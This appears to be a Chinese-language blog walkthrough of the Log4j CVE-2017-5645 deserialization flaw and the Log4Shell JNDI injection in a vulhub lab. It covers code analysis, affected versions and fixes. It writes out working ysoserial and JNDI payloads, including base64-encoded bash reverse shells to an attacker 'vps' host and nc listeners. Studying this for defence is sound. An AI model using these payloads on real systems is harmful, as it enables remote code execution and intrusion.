Log4j漏洞分析
环境搭建
1 | #拉取vulhub项目 |
CVE-2017-5645
服务端未对接收的序列化数据进行安全校验,攻击者可构造包含恶意对象的序列化流,进而导致反序列化漏洞。
简介
Log4j 是取代原始打印语句的日志框架,通过分级(可设置日志重要性)、多目的地(控制台、文件、数据库)、可动态配置(日志格式、自动分割大文件等)的记录方式,让开发者高效定位问题,同时减少对程序性能的拖累。
影响版本
- Log4j 2.x <= 2.8.1
- 组件SocketServer / TCPServer(默认监听端口 4712/TCP)
漏洞分析
分析
https://cdn.jjjxx.top/img/Log4j-2.8.1项目下载地址
启动Log4j后,TCP远程日志服务调用会TcpSocketServer#createSerializedSocketServer()
方法创建了SockerServer,并调用socketServer.startNewThread()
下一步跳进AbstractSocketServer#startNewThread()
看到它调用了thread.start()
回到TcpSocketServer#run()
方法中,在while循环中会判断socket是否关闭,并用serverSocket.accept()
接收数据,接着将收到的数据传给下方创建的SocketHandler
跟进SocketHandler
,可以看到获取了socket的数据流后,传入了 logEventInput
的wrapStream
中,接着又把这个结果传给了logEventInput.logEvents
跟进logEvents方法,发现它是个接口,左键转到实现
调用了inputStream.readObject()
对数据进行反序列化。
它没有对传入的数据进行过滤,因此可以结合CC链等进行反序列化利用。
流程图
漏洞复现
启动环境
1 | #进入目录 |
启动环境后,会在4712端口开启一个TCPServer服务
在vps上使用ysoserial
使用CC5链生成恶意序列化payload并发送给目标ip的4712端口,也就是靶场端口
1 | java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 目标ip 4712 |
1 | #进入环境 |
查看是否成功创建文件
反弹Shell命令
1 | java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 目标ip 4712 |
修复
- 升级至官方补丁后版本Log4j ≥2.8.2
- 临时缓解措施:禁用高危组件(停止TCPServer/SocketServer服务)
1 | kill -9 $(ps -ef | grep 'log4j.jar' | grep -v grep | awk '{print $2}') |
CVE-2021-44228
简介
Log4j2
Log4j2是一个Java日志组件,前身是Log4j,但是Log4j2重新构建了框架,因此可以说它们是两个独立的组件。
JNDI
JNDI是从Java 应用中访问名称和目录服务的一组 API,简单来说就是将名称 / 目录与对象相关联,可以通过名称 / 目录来查找对象。
JNDI三层架构分别为JNDI API
,它是与 Java 应用程序通信,提供编程接口,隔离应用与数据源、Naming Manager
(命名服务管理器)和JNDI SPI
它主要是与具体实现方法(服务)相连接
它支持的服务有 RMI、LDAP、DNS 等,通过把这些服务封装起来,使得可以通过调用容器环境的Context的lookup方法访问这些服务。例如通过 lookup("rmi://ip:port/...")
的形式访问到RMI 服务,同理LDAP也是相同,因此如果可以控制 JNDI lookup 的 URL,便可以任意加载远程类,执行恶意代码。
JNDI 注入受到 JDK的trustURLCodebase配置限制,在JDK 11.0.1、8u191、7u201、6u211 等版本中这一配置默认是 true,可以JNDI注入。但是从 6u132、7u122、8u113 开始其配置是 false,因此后面使用高版本 JDK 复现时要手动开启这一配置。
影响版本
Log4j2最早期的版本
- Apache Log4j 2.x <= 2.14.1(2.0-beta9 至 2.14.1),支持JNDI查找功能
漏洞原理
Log4j2 支持通过 ${} 语法动态解析日志内容中的变量,因此可以配合JNDI构造包含 \${jndi:ldap://vps/expclass}
的日志消息,触发服务端向恶意 LDAP/RMI 服务器请求并加载远程类,从而达到执行命令的目的。
漏洞复现
复现
环境启动后可以访问到Solr服务,它搭载了存在JNDI注入漏洞Log4j2的组件
常见漏洞点如下:
也就是前面提到的存在lookup方法且参数可控的地方
1 | /solr/admin/cores?action=payload |
使用DNSlog探测是否存在漏洞,如果回显了java版本就说明存在该漏洞
1 | /solr/admin/info?d=${jndi:ldap://${sys:java.version}.0rehow.dnslog.cn} |
访问该路径
看到回显了java版本
使用JNDIExploit-1工具开启恶意LDAP服务
1 | java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vps |
监听9999端口反弹shell用
向目标服务器发送payload,让其加载到我们开启的恶意LDAP服务(具体点就是加载恶意字节码)
payload如下:
1 | /solr/admin/info?d=${jndi:ldap://vps:1389/Basic/ReverseShell/vps/9999} |
发送payload后,使用工具启动的LDAP服务出现回显,说明成功加载了恶意服务
拿到目标ip的Shell
其他工具的使用
JNDI-Injection-Exploit
使用命令开启LDAP和RMI服务,并生成对应协议和JDK版本的URL
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A vpsip |
监听反弹shell端口
1 | nc -lvnp 9999 |
将生成的恶意字节码路径写入payload中
1 | /solr/admin/cores?action=${jndi:rmi://vpsip:1099/ehyzeh} |
访问路径即可触发JNDI注入执行命令。
另外还有一个java-chains工具可以用。
修复
- 升级版本
- 临时措施:删除JNDILookup类、禁用JNDI查找
参考
https://note.tonycrane.cc/sec/vulns/log4j/
https://www.anquanke.com/post/id/264176#h3-8